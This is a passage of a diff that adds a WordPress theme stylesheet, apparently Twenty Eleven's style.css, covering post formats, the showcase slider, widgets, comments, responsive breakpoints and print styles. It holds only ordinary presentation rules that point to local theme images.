their containers */ +embed, +iframe, +object { + max-width: 100%; +} + +/* Password Protected Posts */ +.post-password-required .entry-header .comments-link { + margin: 1.625em 0 0; +} +.post-password-required input[type=password] { + margin: 0.8125em 0; +} +.post-password-required input[type=password]:focus { + background: #f7f7f7; +} + +/* Author Info */ +#author-info { + font-size: 12px; + overflow: hidden; +} +.singular #author-info { + background: #f9f9f9; + border-top: 1px solid #ddd; + border-bottom: 1px solid #ddd; + margin: 2.2em -35.6% 0 -35.4%; + padding: 20px 35.4%; +} +.archive #author-info { + border-bottom: 1px solid #ddd; + margin: 0 0 2.2em; + padding: 0 0 2.2em; +} +#author-avatar { + float: left; + margin-right: -78px; +} +#author-avatar img { + background: #fff; + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #bbb; + -moz-box-shadow: 0 1px 2px #bbb; + box-shadow: 0 1px 2px #bbb; + padding: 3px; +} +#author-description { + float: left; + margin-left: 108px; +} +#author-description h2 { + color: #000; + font-size: 15px; + font-weight: bold; + margin: 5px 0 10px; +} + +/* Comments link */ +.entry-header .comments-link a { + background: #eee url(images/comment-bubble.png) no-repeat; + color: #666; + font-size: 13px; + font-weight: normal; + line-height: 35px; + overflow: hidden; + padding: 0 0 0; + position: absolute; + top: 1.5em; + right: 0; + text-align: center; + text-decoration: none; + width: 43px; + height: 36px; +} +.entry-header .comments-link a:hover, +.entry-header .comments-link a:focus, +.entry-header .comments-link a:active { + background-color: #1982d1; + color: #fff; + color: rgba(255,255,255,0.8); +} +.entry-header .comments-link .leave-reply { + visibility: hidden; +} + +/* +Post Formats Headings +To hide the headings, display: none the ".entry-header .entry-format" selector, +and remove the padding rules below. +*/ +.entry-header .entry-format { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + position: absolute; + text-transform: uppercase; + top: -5px; +} +.entry-header hgroup .entry-title { + padding-top: 15px; +} +article.format-aside .entry-content, +article.format-link .entry-content, +article.format-status .entry-content { + padding: 20px 0 0; +} +article.format-status .entry-content { + min-height: 65px; +} +.recent-posts .entry-header .entry-format { + display: none; +} +.recent-posts .entry-header hgroup .entry-title { + padding-top: 0; +} + +/* Singular content styles for Posts and Pages */ +.singular .hentry { + border-bottom: none; + padding: 4.875em 0 0; + position: relative; +} +.singular.page .hentry { + padding: 3.5em 0 0; +} +.singular .entry-title { + color: #000; + font-size: 36px; + font-weight: bold; + line-height: 48px; +} +.singular .entry-title, +.singular .entry-header .entry-meta { + padding-right: 0; +} +.singular .entry-header .entry-meta { + position: absolute; + top: 0; + left: 0; +} +blockquote.pull { + font-size: 21px; + font-weight: bold; + line-height: 1.6125em; + margin: 0 0 1.625em; + text-align: center; +} +.singular blockquote.pull { + margin: 0 -22.25% 1.625em; +} +.pull.alignleft { + margin: 0 1.625em 0 0; + text-align: right; + width: 33%; +} +.singular .pull.alignleft { + margin: 0 1.625em 0 -22.25%; +} +.pull.alignright { + margin: 0 0 0 1.625em; + text-align: left; + width: 33%; +} +.singular .pull.alignright { + margin: 0 -22.25% 0 1.625em; +} +.singular blockquote.pull.alignleft, +.singular blockquote.pull.alignright { + width: 33%; +} +.singular .entry-meta .edit-link a { + bottom: auto; + left: 50px; + position: absolute; + right: auto; + top: 80px; +} + + +/* =Aside +----------------------------------------------- */ + +.format-aside .entry-title, +.format-aside .entry-header .comments-link { + display: none; +} +.singular .format-aside .entry-title { + display: block; +} +.format-aside .entry-content { + padding: 0; +} +.singular .format-aside .entry-content { + padding: 1.625em 0 0; +} + + +/* =Link +----------------------------------------------- */ + +.format-link .entry-title, +.format-link .entry-header .comments-link { + display: none; +} +.singular .format-link .entry-title { + display: block; +} +.format-link .entry-content { + padding: 0; +} +.singular .format-link .entry-content { + padding: 1.625em 0 0; +} + + +/* =Gallery +----------------------------------------------- */ + +.format-gallery .gallery-thumb { + float: left; + display: block; + margin: .375em 1.625em 0 0; +} + + +/* =Status +----------------------------------------------- */ + +.format-status .entry-title, +.format-status .entry-header .comments-link { + display: none; +} +.singular .format-status .entry-title { + display: block; +} +.format-status .entry-content { + padding: 0; +} +.singular .format-status .entry-content { + padding: 1.625em 0 0; +} +.format-status img.avatar { + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #ccc; + -moz-box-shadow: 0 1px 2px #ccc; + box-shadow: 0 1px 2px #ccc; + float: left; + margin: 4px 10px 2px 0; + padding: 0; +} + + +/* =Quote +----------------------------------------------- */ + +.format-quote blockquote { + color: #555; + font-size: 17px; + margin: 0; +} + + +/* =Image +----------------------------------------------- */ + +.indexed.format-image .entry-header { + min-height: 61px; /* Prevent the comment icon from colliding with the image when there is no title */ +} +.indexed.format-image .entry-content { + padding-top: 0.5em; +} +.indexed.format-image p, +.indexed.format-image p img { + margin-bottom: 0; +} +.indexed.format-image footer.entry-meta { + background: #ddd; + margin-top: -7px; + padding: 20px 30px; + overflow: hidden; +} +.indexed.format-image div.entry-meta { + display: inline-block; + float: left; + width: 35%; +} +.indexed.format-image div.entry-meta + div.entry-meta { + float: none; + width: 65%; +} +.indexed.format-image .entry-meta span.cat-links, +.indexed.format-image .entry-meta span.tag-links, +.indexed.format-image .entry-meta span.comments-link { + display: block; +} +.indexed.format-image footer.entry-meta a { + color: #444; +} +.indexed.format-image footer.entry-meta a:hover { + color: #fff; +} +#content .indexed.format-image img { + border: none; + max-width: 100%; + padding: 0; +} +.indexed.format-image .wp-caption { + background: #111; + margin-bottom: 0; + max-width: 96%; + padding: 11px; +} +.indexed.format-image .wp-caption .wp-caption-text { + color: #ddd; +} +.indexed.format-image .wp-caption .wp-caption-text:before { + color: #444; +} +.indexed.format-image a:hover img { + opacity: 0.8; +} + + +/* =error404 +----------------------------------------------- */ + +.error404 #main #searchform { + background: #f9f9f9; + border: 1px solid #ddd; + border-width: 1px 0; + margin: 0 -8.9% 1.625em; + overflow: hidden; + padding: 1.625em 8.9%; +} +.error404 #main #s { + width: 95%; +} +.error404 #main .widget { + clear: none; + float: left; + margin-right: 3.7%; + width: 30.85%; +} +.error404 #main .widget_archive { + margin-right: 0; +} +.error404 #main .widget_tag_cloud { + float: none; + margin-right: 0; + width: 100%; +} +.error404 .widgettitle { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} + + +/* =Showcase +----------------------------------------------- */ + +h1.showcase-heading { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} + +/* Intro */ +article.intro { + background: #f9f9f9; + border-bottom: none; + margin: -1.855em -8.9% 1.625em; + padding: 0 8.9%; +} +article.intro .entry-title { + display: none; +} +article.intro .entry-content { + color: #111; + font-size: 16px; + padding: 1.625em 0 0.625em; +} +article.intro .edit-link a { + background: #aaa; + -moz-border-radius: 3px; + border-radius: 3px; + color: #fff; + font-size: 12px; + padding: 0 8px; + position: absolute; + top: 30px; + right: 20px; + text-decoration: none; +} +article.intro .edit-link a:hover, +article.intro .edit-link a:focus, +article.intro .edit-link a:active { + background: #777; +} + +/* Featured post */ +section.featured-post { + float: left; + margin: -1.625em -8.9% 1.625em; + padding: 1.625em 8.9% 0; + position: relative; + width: 100%; +} +section.featured-post .hentry { + border: none; + color: #666; + margin: 0; +} +section.featured-post .entry-meta { + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + position: absolute !important; +} + +/* Small featured post */ +section.featured-post .attachment-small-feature { + float: right; + height: auto; + margin: 0 -8.9% 1.625em 0; + max-width: 59%; + position: relative; + right: -15px; +} +section.featured-post.small { + padding-top: 0; +} +section.featured-post .attachment-small-feature:hover, +section.featured-post .attachment-small-feature:focus, +section.featured-post .attachment-small-feature:active { + opacity: .8; +} +article.feature-image.small { + float: left; + margin: 0 0 1.625em; + width: 45%; +} +article.feature-image.small .entry-title { + line-height: 1.2em; +} +article.feature-image.small .entry-summary { + color: #555; + font-size: 13px; +} +article.feature-image.small .entry-summary p a { + background: #222; + color: #eee; + display: block; + left: -23.8%; + padding: 9px 26px 9px 85px; + position: relative; + text-decoration: none; + top: 20px; + width: 180px; + z-index: 1; +} +article.feature-image.small .entry-summary p a:hover { + background: #1982d1; + color: #eee; + color: rgba(255,255,255,0.8); +} + +/* Large featured post */ +section.feature-image.large { + border: none; + max-height: 288px; + padding: 0; + width: 100%; +} +section.feature-image.large .showcase-heading { + display: none; +} +section.feature-image.large .hentry { + border-bottom: none; + left: 9%; + margin: 1.625em 9% 0 0; + position: absolute; + top: 0; +} +article.feature-image.large .entry-title a { + background: #222; + background: rgba(0,0,0,0.8); + -moz-border-radius: 3px; + border-radius: 3px; + color: #fff; + display: inline-block; + font-weight: 300; + padding: .2em 20px; +} +section.feature-image.large:hover .entry-title a, +section.feature-image.large .entry-title:hover a { + background: #eee; + background: rgba(255,255,255,0.8); + color: #222; +} +article.feature-image.large .entry-summary { + display: none; +} +section.feature-image.large img { + display: block; + height: auto; + max-width: 117.9%; + padding: 0 0 6px; +} + +/* Featured Slider */ +.featured-posts { + border-bottom: 1px solid #ddd; + display: block; + height: 328px; + margin: 1.625em -8.9% 20px; + max-width: 1000px; + padding: 0; + position: relative; + overflow: hidden; +} +.featured-posts .showcase-heading { + padding-left: 8.9%; +} +.featured-posts section.featured-post { + background: #fff; + height: 288px; + left: 0; + margin: 0; + position: absolute; + top: 30px; + width: auto; +} +.featured-posts section.featured-post.large { + max-width: 100%; + overflow: hidden; +} +.featured-posts section.featured-post { + -webkit-transition-duration: 200ms; + -webkit-transition-property: opacity, visibility; + -webkit-transition-timing-function: ease; + -moz-transition-duration: 200ms; + -moz-transition-property: opacity, visibility; + -moz-transition-timing-function: ease; +} +.featured-posts section.featured-post { + opacity: 0; + visibility: hidden; +} +.featured-posts #featured-post-1 { + opacity: 1; + visibility: visible; +} +.featured-post .feature-text:after, +.featured-post .feature-image.small:after { + content: ' '; + background: -moz-linear-gradient(top, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 100%); /* FF3.6+ */ + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,0)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */ + background: -webkit-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */ + background: -o-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Opera11.10+ */ + background: -ms-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* IE10+ */ + filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=0 ); /* IE6-9 */ + background: linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* W3C */ + width: 100%; + height: 45px; + position: absolute; + top: 230px; +} +.featured-post .feature-image.small:after { + top: 253px; +} +#content .feature-slider { + top: 5px; + right: 8.9%; + overflow: visible; + position: absolute; +} +.feature-slider ul { + list-style-type: none; + margin: 0; +} +.feature-slider li { + float: left; + margin: 0 6px; +} +.feature-slider a { + background: #3c3c3c; + background: rgba(60,60,60,0.9); + -moz-border-radius: 12px; + border-radius: 12px; + -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + display: block; + width: 14px; + height: 14px; +} +.feature-slider a.active { + background: #1982d1; + -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + cursor: default; + opacity: 0.5; +} + +/* Recent Posts */ +section.recent-posts { + padding: 0 0 1.625em; +} +section.recent-posts .hentry { + border: none; + margin: 0; +} +section.recent-posts .other-recent-posts { + border-bottom: 1px solid #ddd; + list-style: none; + margin: 0; +} +section.recent-posts .other-recent-posts li { + padding: 0.3125em 0; + position: relative; +} +section.recent-posts .other-recent-posts .entry-title { + border-top: 1px solid #ddd; + font-size: 17px; +} +section.recent-posts .other-recent-posts a[rel="bookmark"] { + color: #373737; + float: left; + max-width: 84%; +} +section.recent-posts .other-recent-posts a[rel="bookmark"]:after { + content: '-'; + color: transparent; + font-size: 11px; +} +section.recent-posts .other-recent-posts a[rel="bookmark"]:hover { +} +section.recent-posts .other-recent-posts .comments-link a, +section.recent-posts .other-recent-posts .comments-link > span { + border-bottom: 2px solid #999; + bottom: -2px; + color: #444; + display: block; + font-size: 10px; + font-weight: 500; + line-height: 2.76333em; + padding: 0.3125em 0 0.3125em 1em; + position: absolute; + right: 0; + text-align: right; + text-transform: uppercase; + z-index: 1; +} +section.recent-posts .other-recent-posts .comments-link > span { + border-color: #bbb; + color: #888; +} +section.recent-posts .other-recent-posts .comments-link a:hover { + color: #1982d1; + border-color: #1982d1; +} +section.recent-posts .other-recent-posts li:after { + clear: both; + content: '.'; + display: block; + height: 0; + visibility: hidden; +} + + +/* =Attachments +----------------------------------------------- */ + +.image-attachment div.attachment { + background: #f9f9f9; + border: 1px solid #ddd; + border-width: 1px 0; + margin: 0 -8.9% 1.625em; + overflow: hidden; + padding: 1.625em 1.625em 0; + text-align: center; +} +.image-attachment div.attachment img { + display: block; + height: auto; + margin: 0 auto 1.625em; + max-width: 100%; +} +.image-attachment div.attachment a img { + border-color: #f9f9f9; +} +.image-attachment div.attachment a:focus img, +.image-attachment div.attachment a:hover img, +.image-attachment div.attachment a:active img { + border-color: #ddd; + background: #fff; +} +.image-attachment .entry-caption p { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + margin: 0 0 2.6em; + text-transform: uppercase; +} + + +/* =Navigation +-------------------------------------------------------------- */ + +#content nav { + clear: both; + overflow: hidden; + padding: 0 0 1.625em; +} +#content nav a { + font-size: 12px; + font-weight: bold; + line-height: 2.2em; +} +#nav-above { + padding: 0 0 1.625em; +} +#nav-above { + display: none; +} +.paged #nav-above { + display: block; +} +.nav-previous { + float: left; + width: 50%; +} +.nav-next { + float: right; + text-align: right; + width: 50%; +} +#content nav .meta-nav { + font-weight: normal; +} + +/* Singular navigation */ +#nav-single { + float: right; + position: relative; + top: -0.3em; + text-align: right; + z-index: 1; +} +#nav-single .nav-previous, +#nav-single .nav-next { + float: none; + width: auto; +} +#nav-single .nav-next { + padding-left: .5em; +} + + +/* =Widgets +----------------------------------------------- */ + +.widget-area { + font-size: 12px; +} +.widget { + clear: both; + margin: 0 0 2.2em; +} +.widget-title { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.widget ul { + font-size: 15px; + margin: 0; +} +.widget ul ul { + margin-left: 1.5em; +} +.widget ul li { + color: #777; + font-size: 13px; +} +.widget a { + font-weight: bold; + text-decoration: none; +} +.widget a:hover, +.widget a:focus, +.widget a:active { + text-decoration: underline; +} + +/* Search Widget */ +.widget_search form { + margin: 0 0 1.625em; +} +.widget_search #s { + width: 77%; +} +.widget_search #searchsubmit { + background: #ddd; + border: 1px solid #ccc; + -webkit-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + -moz-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + color: #888; + font-size: 13px; + line-height: 25px; + position: relative; + top: -2px; +} +.widget_search #searchsubmit:active { + background: #1982d1; + border-color: #0861a5; + -webkit-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + color: #bfddf3; +} + +/* Ephemera Widget */ +section.ephemera ol, +.widget_twentyeleven_ephemera ol { + list-style: square; + margin: 5px 0 0; +} +.widget_twentyeleven_ephemera .widget-entry-title { + font-size: 15px; + font-weight: bold; + padding: 0; +} +.widget_twentyeleven_ephemera .comments-link a, +.widget_twentyeleven_ephemera .comments-link > span { + color: #666; + display: block; + font-size: 10px; + font-weight: 500; + line-height: 2.76333em; + text-transform: uppercase; +} +section.ephemera .entry-title .comments-link a:hover, +.widget_twentyeleven_ephemera .entry-title .comments-link a:hover { +} +section.ephemera .entry-title a span { + color: #29628d; +} + +/* Twitter */ +.widget_twitter li { + list-style-type: none; + margin-bottom: 14px; +} +.widget_twitter .timesince { + display: block; + font-size: 11px; + margin-right: -10px; + text-align: right; +} + +/* Widget Image */ +.widget_image img { + height: auto; + max-width: 100%; +} + +/* Calendar Widget */ + +.widget_calendar #wp-calendar { + color: #555; + width: 95%; + text-align: center; +} +.widget_calendar #wp-calendar caption, +.widget_calendar #wp-calendar td, +.widget_calendar #wp-calendar th { + text-align: center; +} +.widget_calendar #wp-calendar caption { + font-size: 11px; + font-weight: 500; + padding: 5px 0 3px 0; + text-transform: uppercase; +} +.widget_calendar #wp-calendar th { + background: #f4f4f4; + border-top: 1px solid #ccc; + border-bottom: 1px solid #ccc; + font-weight: bold; +} +.widget_calendar #wp-calendar tfoot td { + background: #f4f4f4; + border-top: 1px solid #ccc; + border-bottom: 1px solid #ccc; +} + + +/* =Comments +----------------------------------------------- */ + +#comments-title { + color: #666; + font-size: 10px; + font-weight: 500; + line-height: 2.6em; + padding: 0 0 2.6em; + text-transform: uppercase; +} +.nopassword, +.nocomments { + color: #aaa; + font-size: 24px; + font-weight: 100; + margin: 26px 0; + text-align: center; +} +.commentlist { + list-style: none; + margin: 0 auto; + width: 68.9%; +} +.content .commentlist, +.page-template-sidebar-page-php .commentlist { + width: 100%; /* reset the width for the one-column and sidebar page layout */ +} +.commentlist > li.comment { + background: #f6f6f6; + border: 1px solid #ddd; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 0 0 1.625em; + padding: 1.625em; + position: relative; +} +.commentlist .pingback { + margin: 0 0 1.625em; + padding: 0 1.625em; +} +.commentlist .children { + list-style: none; + margin: 0; +} +.commentlist .children li.comment { + background: #fff; + border-left: 1px solid #ddd; + -moz-border-radius: 0 3px 3px 0; + border-radius: 0 3px 3px 0; + margin: 1.625em 0 0; + padding: 1.625em; + position: relative; +} +.commentlist .children li.comment .fn { + display: block; +} +.comment-meta .fn { + font-style: normal; +} +.comment-meta { + color: #666; + font-size: 12px; + line-height: 2.2em; +} +.commentlist .children li.comment .comment-meta { + line-height: 1.625em; + margin-left: 50px; +} +.commentlist .children li.comment .comment-content { + margin: 1.625em 0 0; +} +.comment-meta a { + font-weight: bold; +} +.comment-meta a:focus, +.comment-meta a:active, +.comment-meta a:hover { +} +.commentlist .avatar { + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #ccc; + -moz-box-shadow: 0 1px 2px #ccc; + box-shadow: 0 1px 2px #ccc; + left: -102px; + padding: 0; + position: absolute; + top: 0; +} +.commentlist > li:before { + content: url(images/comment-arrow.png); + left: -21px; + position: absolute; +} +.commentlist > li.pingback:before { + content: ''; +} +.commentlist .children .avatar { + background: none; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + left: 2.2em; + padding: 0; + top: 2.2em; +} +a.comment-reply-link { + background: #eee; + -moz-border-radius: 3px; + border-radius: 3px; + color: #666; + display: inline-block; + font-size: 12px; + padding: 0 8px; + text-decoration: none; +} +a.comment-reply-link:hover, +a.comment-reply-link:focus, +a.comment-reply-link:active { + background: #888; + color: #fff; +} +a.comment-reply-link > span { + display: inline-block; + position: relative; + top: -1px; +} + +/* Post author highlighting */ +.commentlist > li.bypostauthor { + background: #ddd; + border-color: #d3d3d3; +} +.commentlist > li.bypostauthor .comment-meta { + color: #575757; +} +.commentlist > li.bypostauthor .comment-meta a:focus, +.commentlist > li.bypostauthor .comment-meta a:active, +.commentlist > li.bypostauthor .comment-meta a:hover { +} +.commentlist > li.bypostauthor:before { + content: url(images/comment-arrow-bypostauthor.png); +} + +/* Post Author threaded comments */ +.commentlist .children > li.bypostauthor { + background: #ddd; + border-color: #d3d3d3; +} + +/* sidebar-page.php comments */ +/* Make sure we have room for our comment avatars */ +.page-template-sidebar-page-php .commentlist > li.comment, +.page-template-sidebar-page-php.commentlist .pingback { + margin-left: 102px; + width: auto; +} +/* And a full-width comment form */ +.page-template-sidebar-page-php #respond { + width: auto; +} + +/* Comment Form */ +#respond { + background: #ddd; + border: 1px solid #d3d3d3; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 0 auto 1.625em; + padding: 1.625em; + position: relative; + width: 68.9%; +} +#respond input[type="text"], +#respond textarea { + background: #fff; + border: 4px solid #eee; + -moz-border-radius: 5px; + border-radius: 5px; + -webkit-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + -moz-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + position: relative; + padding: 10px; + text-indent: 80px; +} +#respond .comment-form-author, +#respond .comment-form-email, +#respond .comment-form-url, +#respond .comment-form-comment { + position: relative; +} +#respond .comment-form-author label, +#respond .comment-form-email label, +#respond .comment-form-url label, +#respond .comment-form-comment label { + background: #eee; + -webkit-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + -moz-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + color: #555; + display: inline-block; + font-size: 13px; + left: 4px; + min-width: 60px; + padding: 4px 10px; + position: relative; + top: 40px; + z-index: 1; +} +#respond input[type="text"]:focus, +#respond textarea:focus { + text-indent: 0; + z-index: 1; +} +#respond textarea { + resize: vertical; + width: 95%; +} +#respond .comment-form-author .required, +#respond .comment-form-email .required { + color: #bd3500; + font-size: 22px; + font-weight: bold; + left: 75%; + position: absolute; + top: 45px; + z-index: 1; +} +#respond .comment-notes, +#respond .logged-in-as { + font-size: 13px; +} +#respond p { + margin: 10px 0; +} +#respond .form-submit { + float: right; + margin: -20px 0 10px; +} +#respond input#submit { + background: #222; + border: none; + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + -moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + color: #eee; + cursor: pointer; + font-size: 15px; + margin: 20px 0; + padding: 5px 42px 5px 22px; + position: relative; + left: 30px; + text-shadow: 0 -1px 0 rgba(0,0,0,0.3); +} +#respond input#submit:active { + background: #1982d1; + color: #bfddf3; +} +#respond #cancel-comment-reply-link { + color: #666; + margin-left: 10px; + text-decoration: none; +} +#respond .logged-in-as a:hover, +#respond #cancel-comment-reply-link:hover { + text-decoration: underline; +} +.commentlist #respond { + margin: 1.625em 0 0; + width: auto; +} +#reply-title { + color: #373737; + font-size: 24px; + font-weight: bold; + line-height: 30px; +} +#cancel-comment-reply-link { + color: #888; + display: block; + font-size: 10px; + font-weight: normal; + line-height: 2.2em; + letter-spacing: 0.05em; + position: absolute; + right: 1.625em; + text-decoration: none; + text-transform: uppercase; + top: 1.1em; +} +#cancel-comment-reply-link:focus, +#cancel-comment-reply-link:active, +#cancel-comment-reply-link:hover { + color: #ff4b33; +} +#respond label { + line-height: 2.2em; +} +#respond input[type=text] { + display: block; + height: 24px; + width: 75%; +} +#respond p { + font-size: 12px; +} +p.comment-form-comment { + margin: 0; +} +.form-allowed-tags { + display: none; +} + + +/* =Footer +----------------------------------------------- */ + +#colophon { + clear: both; +} +#supplementary { + border-top: 1px solid #ddd; + padding: 1.625em 7.6%; + overflow: hidden; +} + +/* Two Footer Widget Areas */ +#supplementary.two .widget-area { + float: left; + margin-right: 3.7%; + width: 48.1%; +} +#supplementary.two .widget-area + .widget-area { + margin-right: 0; +} + +/* Three Footer Widget Areas */ +#supplementary.three .widget-area { + float: left; + margin-right: 3.7%; + width: 30.85%; +} +#supplementary.three .widget-area + .widget-area + .widget-area { + margin-right: 0; +} + +/* Site Generator Line */ +#site-generator { + background: #f9f9f9; + border-top: 1px solid #ddd; + color: #666; + font-size: 12px; + line-height: 2.2em; + padding: 2.2em 0.5em; + text-align: center; +} +#site-generator a { + color: #555; + font-weight: bold; +} +#site-generator .sep { + background: url(images/wordpress.png) center left no-repeat; + color: transparent; + display: inline-block; + height: 16px; + line-height: 16px; + margin: 0 7px; + width: 16px; +} + + +/* =Responsive Structure +----------------------------------------------- */ + +@media (max-width: 800px) { + /* Simplify the basic layout */ + #main #content { + margin: 0 7.6%; + width: auto; + } + #nav-below { + border-bottom: 1px solid #ddd; + margin-bottom: 1.625em; + } + #main #secondary { + float: none; + margin: 0 7.6%; + width: auto; + } + /* Simplify the showcase template */ + .page-template-showcase-php .featured-posts { + min-height: 280px; + } + .featured-posts section.featured-post { + height: auto; + } + .page-template-showcase-php section.recent-posts { + float: none; + margin: 0; + width: 100%; + } + .page-template-showcase-php #main .widget-area { + float: none; + margin: 0; + width: auto; + } + .page-template-showcase-php .other-recent-posts { + border-bottom: 1px solid #ddd; + } + /* Simplify the showcase template when small feature */ + section.featured-post .attachment-small-feature, + .one-column section.featured-post .attachment-small-feature { + border: none; + display: block; + float: left; + height: auto; + margin: 0.625em auto 1.025em; + max-width: 30%; + position: static; + } + article.feature-image.small { + float: right; + margin: 0 0 1.625em; + width: 64%; + } + .one-column article.feature-image.small .entry-summary { + height: auto; + } + article.feature-image.small .entry-summary p a { + left: 0; + padding-left: 20px; + padding-right: 20px; + width: auto; + } + /* Remove the margin on singular articles */ + .singular .entry-header, + .singular .entry-content, + .singular footer.entry-meta, + .singular #comments-title { + width: 100%; + } + /* Simplify the pullquotes and pull styles */ + .singular blockquote.pull { + margin: 0 0 1.625em; + } + .singular .pull.alignleft { + margin: 0 1.625em 0 0; + } + .singular .pull.alignright { + margin: 0 0 0 1.625em; + } + .singular .entry-meta .edit-link a { + left: 0; + position: absolute; + top: 40px; + } + .singular #author-info { + margin: 2.2em -8.8% 0; + padding: 20px 8.8%; + } + /* Make sure we have room for our comment avatars */ + .commentlist { + width: 100%; + } + .commentlist > li.comment, + .commentlist .pingback { + margin-left: 102px; + width: auto; + } + /* And a full-width comment form */ + #respond { + width: auto; + } + /* No need to float footer widgets at this size */ + #colophon #supplementary .widget-area { + float: none; + margin-right: 0; + width: auto; + } + /* No need to float 404 widgets at this size */ + .error404 #main .widget { + float: none; + margin-right: 0; + width: auto; + } + +} +@media (max-width: 650px) { + /* @media (max-width: 650px) Reduce font-sizes for better readability on smaller devices */ + body, input, textarea { + font-size: 13px; + } + #site-title a { + font-size: 24px; + } + #site-description { + font-size: 12px; + } + #access ul { + font-size: 12px; + } + article.intro .entry-content { + font-size: 12px; + } + .entry-title { + font-size: 21px; + } + .featured-post .entry-title { + font-size: 14px; + } + .singular .entry-title { + font-size: 28px; + } + .entry-meta { + font-size: 12px; + } + blockquote { + margin: 0; + } + blockquote.pull { + font-size: 17px; + } + /* Reposition the site title and description slightly */ + #site-title { + padding: 5.30625em 0 0; + } + #site-title, + #site-description { + margin-right: 0; + } + /* Make sure the logo and search form don't collide */ + #branding #searchform { + top: 1.625em !important; + } + /* Floated content doesn't work well at this size */ + .alignleft, + .alignright { + float: none; + margin-left: 0; + margin-right: 0; + } + /* Make sure the post-post navigation doesn't collide with anything */ + #nav-single { + display: block; + position: static; + } + .singular .hentry { + padding: 1.625em 0 0; + } + .singular.page .hentry { + padding: 1.625em 0 0; + } + /* Talking avatars take up too much room at this size */ + .commentlist > li.comment, + .commentlist > li.pingback { + margin-left: 0 !important; + } + .commentlist .avatar { + background: transparent; + display: block; + padding: 0; + position: static; + } + .commentlist .children .avatar { + background: none; + left: 2.2em; + padding: 0; + position: absolute; + top: 2.2em; + } + /* Use the available space in the smaller comment form */ + #respond input[type="text"] { + width: 95%; + } + #respond .comment-form-author .required, + #respond .comment-form-email .required { + left: 95%; + } + #content .gallery-columns-3 .gallery-item { + width: 31%; + padding-right: 2%; + } + #content .gallery-columns-3 .gallery-item img { + width: 100%; + height: auto; + } + +} +@media (max-width: 450px) { + #content .gallery-columns-2 .gallery-item { + width: 45%; + padding-right: 4%; + } + #content .gallery-columns-2 .gallery-item img { + width: 100%; + height: auto; + } + +} +@media only screen and (min-device-width: 320px) and (max-device-width: 480px) { + body { + padding: 0; + } + #page { + margin-top: 0; + } + #branding { + border-top: none; + } + +} + + +/* =Print +----------------------------------------------- */ + +@media print { + body { + background: none !important; + font-size: 10pt; + } + footer.entry-meta a[rel=bookmark]:link:after, + footer.entry-meta a[rel=bookmark]:visited:after { + content: " [" attr(href) "] "; /* Show URLs */ + } + #page { + clear: both !important; + display: block !important; + float: none !important; + max-width: 100%; + position: relative !important; + } + #branding { + border-top: none !important; + padding: 0; + } + #branding hgroup { + margin: 0; + } + #site-title a { + font-size: 21pt; + } + #site-description { + font-size: 10pt; + } + #branding #searchform { + display: none; + } + #branding img { + display: none; + } + #access { + display: none; + } + #main { + border-top: none; + box-shadow: none; + } + #primary { + float: left; + margin: 0; + width: 100%; + } + #content { + margin: 0; + width: auto; + } + .singular #content { + margin: 0; + width: 100%; + } + .singular .entry-header .entry-meta { + position: static; + } + .entry-meta .edit-link a { + display: none; + } + #content nav { + display: none; + } + .singular .entry-header, + .singular .entry-content, + .singular footer.entry-meta, + .singular #comments-title { + margin: 0; + width: 100%; + } + .singular .hentry { + padding: 0; + } + .entry-title, + .singular .entry-title { + font-size: 21pt; + } + .entry-meta { 